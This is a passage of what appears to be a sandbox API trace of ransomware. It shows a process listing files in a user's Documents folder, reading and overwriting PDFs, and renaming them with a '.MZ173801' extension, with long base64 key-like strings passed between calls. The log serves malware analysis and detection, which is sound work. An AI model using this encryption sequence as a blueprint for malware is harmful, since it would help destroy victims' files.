returned 0x9fc [0124.848] GetCurrentThreadId () returned 0x9fc [0124.848] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f5190, ftCreationTime.dwHighDateTime=0x1d5df90, ftLastAccessTime.dwLowDateTime=0xef3c0330, ftLastAccessTime.dwHighDateTime=0x1d5e511, ftLastWriteTime.dwLowDateTime=0xef3c0330, ftLastWriteTime.dwHighDateTime=0x1d5e511, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="4MEDSGumwQmrlccZ3NM", cAlternateFileName="4MEDSG~1")) returned 1 [0124.848] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe01e05b0, ftCreationTime.dwHighDateTime=0x1d5e2f0, ftLastAccessTime.dwLowDateTime=0xe2404ef0, ftLastAccessTime.dwHighDateTime=0x1d5d7b7, ftLastWriteTime.dwLowDateTime=0xe2404ef0, ftLastWriteTime.dwHighDateTime=0x1d5d7b7, nFileSizeHigh=0x0, nFileSizeLow=0xfc71, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="aBIuO4X i.pdf", cAlternateFileName="ABIUO4~1.PDF")) returned 1 [0124.849] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0124.849] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0124.849] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\aBIuO4X i.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\abiuo4x i.pdf"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe01e05b0, ftCreationTime.dwHighDateTime=0x1d5e2f0, ftLastAccessTime.dwLowDateTime=0xe2404ef0, ftLastAccessTime.dwHighDateTime=0x1d5d7b7, ftLastWriteTime.dwLowDateTime=0xe2404ef0, ftLastWriteTime.dwHighDateTime=0x1d5d7b7, nFileSizeHigh=0x0, nFileSizeLow=0xfc71)) returned 1 [0124.850] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.851] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.852] GetCurrentThreadId () returned 0x9fc [0124.852] GetCurrentThreadId () returned 0x9fc [0124.852] GetCurrentThreadId () returned 0x9fc [0124.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0124.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0124.852] GetCurrentThreadId () returned 0x9fc [0124.852] GetCurrentThreadId () returned 0x9fc [0124.852] GetCurrentThreadId () returned 0x9fc [0124.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\aBIuO4X i.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\abiuo4x i.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x298 [0124.853] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0124.853] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.853] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0xfc71 [0124.853] SetFilePointer (in: hFile=0x298, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0124.853] ReadFile (in: hFile=0x298, lpBuffer=0x714510, nNumberOfBytesToRead=0xfc71, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0xfc71, lpOverlapped=0x0) returned 1 [0124.854] CloseHandle (hObject=0x298) returned 1 [0124.856] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\aBIuO4X i.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\abiuo4x i.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x298 [0124.857] WriteFile (in: hFile=0x298, lpBuffer=0x724540*, nNumberOfBytesToWrite=0xfc71, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x724540*, lpNumberOfBytesWritten=0x18f404*=0xfc71, lpOverlapped=0x0) returned 1 [0124.859] CloseHandle (hObject=0x298) returned 1 [0124.860] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\aBIuO4X i.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\abiuo4x i.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\aBIuO4X i.pdf.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\abiuo4x i.pdf.mz173801")) returned 1 [0124.860] GetCurrentThreadId () returned 0x9fc [0124.860] GetCurrentThreadId () returned 0x9fc [0124.860] GetCurrentThreadId () returned 0x9fc [0124.860] GetCurrentThreadId () returned 0x9fc [0124.860] GetCurrentThreadId () returned 0x9fc [0124.860] GetCurrentThreadId () returned 0x9fc [0124.860] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe60b90b0, ftCreationTime.dwHighDateTime=0x1d5e44d, ftLastAccessTime.dwLowDateTime=0xa04ee350, ftLastAccessTime.dwHighDateTime=0x1d5e67e, ftLastWriteTime.dwLowDateTime=0xa04ee350, ftLastWriteTime.dwHighDateTime=0x1d5e67e, nFileSizeHigh=0x0, nFileSizeLow=0x6b6d, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="lcH9zf19U.odt", cAlternateFileName="LCH9ZF~1.ODT")) returned 1 [0124.860] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0124.860] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0124.861] FindNextFileW (in: hFindFile=0x2fc700, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4701790, ftCreationTime.dwHighDateTime=0x1d5d94e, ftLastAccessTime.dwLowDateTime=0xd811a560, ftLastAccessTime.dwHighDateTime=0x1d5e4e0, ftLastWriteTime.dwLowDateTime=0xd811a560, ftLastWriteTime.dwHighDateTime=0x1d5e4e0, nFileSizeHigh=0x0, nFileSizeLow=0xf788, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="UeE7MtfOi.pdf", cAlternateFileName="UEE7MT~1.PDF")) returned 1 [0124.861] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0124.861] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0124.861] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\UeE7MtfOi.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\uee7mtfoi.pdf"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4701790, ftCreationTime.dwHighDateTime=0x1d5d94e, ftLastAccessTime.dwLowDateTime=0xd811a560, ftLastAccessTime.dwHighDateTime=0x1d5e4e0, ftLastWriteTime.dwLowDateTime=0xd811a560, ftLastWriteTime.dwHighDateTime=0x1d5e4e0, nFileSizeHigh=0x0, nFileSizeLow=0xf788)) returned 1 [0124.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 